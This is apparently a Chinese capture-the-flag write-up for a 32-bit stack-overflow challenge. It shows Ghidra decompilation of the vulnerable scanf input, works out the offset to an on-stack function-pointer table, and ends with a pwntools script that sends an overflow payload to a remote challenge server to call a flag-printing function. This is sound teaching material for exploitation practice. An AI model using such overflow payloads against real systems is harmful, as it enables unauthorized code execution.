简单的栈溢出,先用ghidra反汇编看看逻辑:
void FUN_080487aa(void)
{
uint uVar1;
int iVar2;
size_t sVar3;
char local_80 [32];
code *local_60 [4];
code *local_50;
code *local_4c;
code *local_48;
code *local_44;
code *local_40;
code *local_3c;
char local_38 [32];
int local_18;
uint local_14;
local_18 = 1;
local_60[0] = FUN_08048604;
local_60[1] = FUN_08048618;
local_60[2] = FUN_0804862c;
local_60[3] = FUN_08048640;
local_50 = FUN_08048654;
local_4c = FUN_08048668;
local_48 = FUN_0804867c;
local_44 = FUN_08048690;
local_40 = FUN_080486a4;
local_3c = FUN_080486b8;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(local_38,0x20,stdin);
FUN_080485dd(local_38);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n",FUN_08048654);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf(&DAT_08048e14,local_80);
for (local_14 = 0; uVar1 = local_14, sVar3 = strlen(local_80), uVar1 < sVar3;
local_14 = local_14 + 1) {
switch(local_18) {
case 1:
iVar2 = FUN_08048702((int)local_80[local_14]);
if (iVar2 != 0) {
local_18 = 2;
}
break;
case 2:
if (local_80[local_14] == '@') {
local_18 = 3;
}
break;
case 3:
iVar2 = FUN_0804874c((int)local_80[local_14]);
if (iVar2 != 0) {
local_18 = 4;
}
break;
case 4:
if (local_80[local_14] == '.') {
local_18 = 5;
}
break;
case 5:
iVar2 = FUN_08048784((int)local_80[local_14]);
if (iVar2 != 0) {
local_18 = 6;
}
break;
case 6:
iVar2 = FUN_08048784((int)local_80[local_14]);
if (iVar2 != 0) {
local_18 = 7;
}
break;
case 7:
iVar2 = FUN_08048784((int)local_80[local_14]);
if (iVar2 != 0) {
local_18 = 8;
}
break;
case 8:
iVar2 = FUN_08048784((int)local_80[local_14]);
if (iVar2 != 0) {
local_18 = 9;
}
break;
case 9:
local_18 = 10;
}
}
local_18 = local_18 + -1;
(*local_60[local_18])();
fflush(stdout);
return;
}
在其他函数中也找到了如何输出flag,只需调用这一函数即可。
fgets的输入没什么用直接略过,之后的scanf是栈溢出的点,注意到return前进行了一次异常函数调用(*local_60[local_18])();
,可以从这里入手构造payload。
要让这段代码的函数调用可控,首先得控制变量local_18
的值。local_18
的初值为1,最简单的控制方式是让local_18
的值不变,为此得查看case 1情形下的函数逻辑:
只要让返回值为0就能让
local_18
的值一直不变,而这一函数检查的是scanf
输入的字符串中每一个字符,所以构造的payload中所有字符都要让这一函数返回值为0。
偏移量甚至不用调试就能计算,ghidra中local_xx
的xx表示数据在栈上离基址的距离,即ebp-xx
,而调用的函数地址位于local_60
,所以偏移量为(ebp-60)-(ebp-80)=20
,这里的20是16进制,IDA中也有类似的表达方式。
写出pwn脚本:
from pwn import *
context(log_level="debug", arch="i386", os="linux")
# p = process("./forgot")
p = remote("111.200.241.244", 52806)
flag = 0x080486cc
payload = b"A" * 0x20 + p32(flag)
p.sendlineafter("> ", b"aa")
p.sendlineafter("> ", payload)
p.interactive()